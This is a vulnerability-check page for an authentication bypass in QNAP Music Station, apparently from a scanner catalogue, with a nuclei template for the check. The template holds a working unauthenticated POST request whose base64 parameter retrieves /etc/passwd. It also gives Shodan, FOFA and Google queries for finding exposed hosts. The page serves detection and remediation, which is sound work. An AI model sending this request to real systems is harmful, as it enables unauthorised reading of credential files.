QNAP Music Station < 5.4.0 - Authentication Bypass

mediumseverity

4.3CVSS score

1.2%likelihood of exploitation, next 30 days

70%of all CVEs are less likely

Readycheck to confirm it

An improper authentication vulnerability has been reported to affect Music Station. If exploited, the vulnerability could allow users to compromise the security of the system via a network. We have already fixed the vulnerability in the following version: Music Station 5.4.0 and later

Impact

Unauthenticated attackers can bypass authentication in Music Station to read arbitrary files from the QNAP system including /etc/passwd, potentially accessing sensitive configuration files and user credentials.

Fix

Update QNAP Music Station to version 5.4.0 or later that implements proper authentication validation in the as_get_file_api.php endpoint.

How to confirm it

Send: POST /musicstation/api/as_get_file_api.php
Positive when: matches /admin:.*:0:0:/ AND contains in content_disposition "filename='passwd'" AND status 200

Run it with nuclei: nuclei -id CVE-2023-45038 -u <target>

The full check

id: CVE-2023-45038

info:
  name: QNAP Music Station < 5.4.0 - Authentication Bypass
  author: daffainfo
  severity: medium
  description: |
    An improper authentication vulnerability has been reported to affect Music Station. If exploited, the vulnerability could allow users to compromise the security of the system via a network. We have already fixed the vulnerability in the following version: Music Station 5.4.0 and later
  impact: |
    Unauthenticated attackers can bypass authentication in Music Station to read arbitrary files from the QNAP system including /etc/passwd, potentially accessing sensitive configuration files and user credentials.
  remediation: |
    Update QNAP Music Station to version 5.4.0 or later that implements proper authentication validation in the as_get_file_api.php endpoint.
  reference:
    - https://www.qnap.com/en/security-advisory/qsa-24-25
    - https://karzemrok.com/qnap-qsa-24-25
    - https://nvd.nist.gov/vuln/detail/CVE-2023-45038
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:L/I:N/A:N
    cvss-score: 4.3
    cve-id: CVE-2023-45038
    epss-score: 0.01243
    epss-percentile: 0.69489
    cwe-id: CWE-287
    cpe: cpe:2.3:a:qnap:music_station:*:*:*:*:*:*:*:*
  metadata:
    verified: true
    max-request: 1
    vendor: qnap
    product: music_station
    shodan-query: http.title:"qnap"
    fofa-query: title="qnap"
    google-query: intitle:"qnap"
  tags: cve,cve2023,qnap,music_station,auth-bypass,vkev,vuln

http:
  - raw:
      - |
        POST /musicstation/api/as_get_file_api.php HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

        ssid=dummy&songid=1&tt=ts&f=L2V0Yy9wYXNzd2Q=

    matchers-condition: and
    matchers:
      - type: regex
        part: body
        regex:
          - "admin:.*:0:0:"

      - type: word
        part: content_disposition
        words:
          - "filename='passwd'"

      - type: status
        status:
          - 200

References

Use this check only on systems you are authorised to test. Where the data comes from